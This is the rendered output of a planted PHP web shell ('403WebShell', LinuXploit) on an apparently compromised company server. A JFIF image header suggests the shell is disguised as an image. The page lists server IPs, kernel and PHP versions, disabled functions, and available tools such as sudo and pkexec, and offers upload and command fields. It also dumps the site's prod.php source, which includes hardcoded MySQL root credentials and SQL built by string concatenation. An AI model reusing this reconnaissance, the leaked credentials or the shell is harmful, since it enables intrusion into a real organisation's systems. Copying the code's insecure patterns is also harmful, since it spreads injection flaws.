????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.222.48.95
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/sales/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/sales/prod.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252" />
<title>ASTACUS SALES</title>
<link href="table.css" rel="stylesheet" type="text/css">
<style type="text/css">
.rubrik {
	font-family: Verdana, Geneva, sans-serif;
	text-align: left;
}
.text {
	font-family: Verdana, Geneva, sans-serif;
}
.text {
	font-size: 14px;
}
#form1 {
}
.bold {
	font-weight: bold;
}
.bold {
	font-family: Verdana, Geneva, sans-serif;
}
.bold {
	font-size: 14px;
}
</style>


<script>
function MM_openBrWindow2(theURL,winName) { //v2.0

  window.open(theURL,winName,'status=yes, resizable=yes','width='+screen.width,'height='+screen.height);
}


function MM_openBrWindow2(theURL,winName,extra) { //v2.0

  window.open(theURL,winName,extra);
}
</script>
</head>
<?php 
   $y = "20".date("y");
   $d = date("W");
   
   $d = $d + $_GET['week'];
   
function getStartAndEndDate($week, $year) {
  $dto = new DateTime();
  $dto->setISODate($year, $week);
  $ret['week_start'] = $dto->format('Y-m-d');
  $dto->modify('+6 days');
  $ret['week_end'] = $dto->format('Y-m-d');
  return $ret;
}

$week_array = getStartAndEndDate($d,$y);


?>
<body>
<h1 class="rubrik">Astacus Production Statistics 
  <br />
  <span class="rubrik"><br />
  <a href="?week=<?php echo($_GET['week']-1);?>"><< Previous week </a> This week (<?php echo($y."-".$d);?>)  <a href="?week=<?php echo($_GET['week']+1);?>">Next week >></a></span> <br />
  <br />
</h1>
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="table table-mc-light-blue">
  <tr class="bold">
    <td width="319">Project</td>
    <td width="280">Type</td>
    <td width="247">Team</td>
    <td width="95">Hrs</td>
    <td width="202">Output</td>
    <td width="127">Total</td>
  </tr>
</table>

<?php 

	session_start();
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("vpa");


 
   $sql = "SELECT sum(ProjectOutputLog.TimeSpent) as Hrs, ProjectOutputLog.ProjectId, Project.Name as Name, Company.CompanyId as CompanyId, Project.Output as Output, ProjectType.ProjectTypeDisplayValue as Type, SystemUser.Username as Team FROM Project, ProjectOutputLog, Company, ProjectType, SystemUser where SystemUser.SystemUserId = ProjectOutputLog.SystemUSerId and Project.ProjectTypeId = ProjectType.ProjectTypeId and ProjectOutputLog.ProjectId = Project.ProjectId and Company.CompanyId = Project.CompanyId and ProjectOutputLog.Datestamp >= '".$week_array["week_start"] ."' and ProjectOutputLog.Datestamp <= '".$week_array["week_end"] ."' group by ProjectOutputLog.ProjectId  ";
   
$X = 0;

     $result = mysql_query($sql);



	  while ($row = mysql_fetch_assoc($result)){ 
	  
		
	
	  if($row["Output"] == 0){
		 $row["Output"] = 25; 
	}
	 
	$Hrs +=$row["Hrs"];
	$Output +=$row["Output"];
	$Total +=$row["Output"]*$row["Hrs"];
	
?>
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="table table-mc-light-blue">
  <tr class="text">
    <td width="320"><?php echo($row["CompanyId"]);?>_<?php echo($row["Name"]);?> (<?php echo($row["ProjectId"]);?>)</td>
    <td width="278"><?php echo($row["Type"]);?></td>
    <td width="249"><?php echo($row["Team"]);?></td>
    <td width="95"><?php echo($row["Hrs"]);?> hrs</td>
    <td width="202"><?php echo($row["Output"]);?> m2</td>
    <td width="126"><?php echo($row["Output"]*$row["Hrs"]);?> m2</td>
  </tr>
</table>

  <?php 
  $X++;
  }?>
  <br />
 
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="table table-mc-light-blue">
  <tr class="text">
    <td width="465"></td>
    <td width="380"></td>
    <td width="96"><?php echo($Hrs);?> hrs</td>
    <td width="203"><?php 
		
		
		$AverageOutput = round($Output/$X);
		
		echo($AverageOutput);
		
		

		$sql = " SELECT * FROM KeyStatValues where Datestamp = '".date("Y-m-d")."' and StatType = 'ProductionOutput'";
		$X = 0;
     $result = mysql_query($sql);
	  while ($row = mysql_fetch_assoc($result)){ 
	  	$X = 1;
	  }
		if($X == 0){
			$sql = "INSERT INTO KeyStatValues VALUES(null,'ProductionOutput', '".date("Y-m-d")."','".$AverageOutput."')";
		}else{
			$sql = "UPDATE KeyStatValues SET Value = '".$AverageOutput."' WHERE Datestamp = '".date("Y-m-d")."' and StatType = 'ProductionOutput'";
		}
		mysql_query($sql);
		
	
		
		?> m2</td>
    <td width="126"><?php echo($Total);?> m2</td>
  </tr>
</table>
<br />
<h1 class="rubrik"><br />
</h1>
<?php

 	$sql = " SELECT sum(TimeSpent) as Hrs FROM ProjectOutputLog where Datestamp LIKE '".$week_array["week_start"] ."%' ";
	$X = 0;
     $result = mysql_query($sql);
	  while ($row = mysql_fetch_assoc($result)){ 
	  	$Day1 = $row['Hrs'];
	  }
	  
	  	$sql = " SELECT sum(TimeSpent) as Hrs FROM ProjectOutputLog where Datestamp LIKE '".date('Y-m-d', strtotime('+1 day', strtotime($week_array["week_start"]))) ."%' ";
	$X = 0;
     $result = mysql_query($sql);
	  while ($row = mysql_fetch_assoc($result)){ 
	  	$Day2 = $row['Hrs'];
	  }
	  
	   	$sql = " SELECT sum(TimeSpent) as Hrs FROM ProjectOutputLog where Datestamp LIKE '".date('Y-m-d', strtotime('+2 day', strtotime($week_array["week_start"]))) ."%' ";
	$X = 0;
     $result = mysql_query($sql);
	  while ($row = mysql_fetch_assoc($result)){ 
	  	$Day3 = $row['Hrs'];
	  }
	  
	   	$sql = " SELECT sum(TimeSpent) as Hrs FROM ProjectOutputLog where Datestamp LIKE '".date('Y-m-d', strtotime('+3 day', strtotime($week_array["week_start"]))) ."%' ";
	$X = 0;
     $result = mysql_query($sql);
	  while ($row = mysql_fetch_assoc($result)){ 
	  	$Day4 = $row['Hrs'];
	  }
	  
	   	$sql = " SELECT sum(TimeSpent) as Hrs FROM ProjectOutputLog where Datestamp LIKE '".date('Y-m-d', strtotime('+4 day', strtotime($week_array["week_start"]))) ."%' ";
	$X = 0;
     $result = mysql_query($sql);
	  while ($row = mysql_fetch_assoc($result)){ 
	  	$Day5 = $row['Hrs'];
	  }
	  
	   	$sql = " SELECT sum(TimeSpent) as Hrs FROM ProjectOutputLog where Datestamp LIKE '".date('Y-m-d', strtotime('+5 day', strtotime($week_array["week_start"]))) ."%' ";
	$X = 0;
     $result = mysql_query($sql);
	  while ($row = mysql_fetch_assoc($result)){ 
	  	$Day6 = $row['Hrs'];
	  }
	  
	   	$sql = " SELECT sum(TimeSpent) as Hrs FROM ProjectOutputLog where Datestamp LIKE '".date('Y-m-d', strtotime('+6 day', strtotime($week_array["week_start"]))) ."%' ";
	$X = 0;
     $result = mysql_query($sql);
	  while ($row = mysql_fetch_assoc($result)){ 
	  	$Day7 = $row['Hrs'];
	  }

?>
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="table table-mc-light-blue">
  <tr class="bold">
    <td width="14%">Monday</td>
    <td width="14%">Tuseday</td>
    <td width="14%">Wednesday</td>
    <td width="14%">Thursday</td>
    <td width="14%">Friday</td>
    <td width="14%">Saturday</td>
    <td width="14%">Sunday</td>
  </tr>
  <tr class="bold">
    <td><?php echo($Day1);
?></td>
    <td width="14%"><?php echo($Day2);?></td>
    <td width="14%"><?php echo($Day3);?></td>
    <td width="14%"><?php echo($Day4);?></td>
    <td width="14%"><?php echo($Day5
);?></td>
    <td width="14%"><?php echo($Day6);?></td>
    <td width="14%"><?php echo($Day7);?></td>
  </tr>
</table>
<h1 class="rubrik">  Missing projects</h1>
<h1 class="rubrik">
  <?php 




 
   $sql = "SELECT Project.Name as Name, Company.CompanyId as CompanyId, Project.ProjectId as ProjectId, ProjectStatus.ProjectStatusDisplayValue as ProjectStatusDisplayValue FROM Project, Company, ProjectStatus where  ProjectStatus.ProjectStatusId = Project.ProjectStatusId  and Company.CompanyId = Project.CompanyId and Project.ProjectStatusId = 6 and Project.Name NOT like '%iCAD%' and Project.CountryId = 1 group by Project.ProjectId";
   
$X = 0;

     $result = mysql_query($sql);



	  while ($row = mysql_fetch_assoc($result)){ 
	  
		
	$sql = " SELECT sum(TimeSpent) as TimeSpent FROM ProjectOutputLog where ProjectId = ".$row["ProjectId"];
	$X = 0;
     $result2 = mysql_query($sql);
	  while ($row2 = mysql_fetch_assoc($result2)){ 
	  	$Scansisar = $row2['TimeSpent'];
	  }
	 
		 if($Scansisar == "") {
	
	//$Output +=$row["Output"];
	$Total +=$row["TimeSpent"];
	
?>
</h1>
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="table table-mc-light-blue" <?php if($Scansisar == ""){echo("bgcolor='#FF0004'");}?> >
  <tr class="text">
    <td width="504" <?php if($Scansisar == ""){echo("bgcolor='#FF0004'");}?>><?php echo($row["CompanyId"]);?>_<?php echo($row["Name"]);?> (<?php echo($row["ProjectId"]);?>) </td>
    <td width="334" <?php if($Scansisar == ""){echo("bgcolor='#FF0004'");}?>><?php echo($row["ProjectStatusDisplayValue"]);?></td>
    <td width="181" <?php if($Scansisar == ""){echo("bgcolor='#FF0004'");}?>><?php echo($row["Scans"]);?></td>
    <td width="218" <?php if($Scansisar == ""){echo("bgcolor='#FF0004'");}?>>&nbsp;</td>
    <td width="132" <?php if($Scansisar == ""){echo("bgcolor='#FF0004'");}?>>&nbsp;</td>
  </tr>
</table>
<h1 class="rubrik">
  <?php 
  $X++;
		 }
  }?>
</h1>
<h1 class="rubrik"><br />
  <br />
</h1>
<p>&nbsp;</p>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit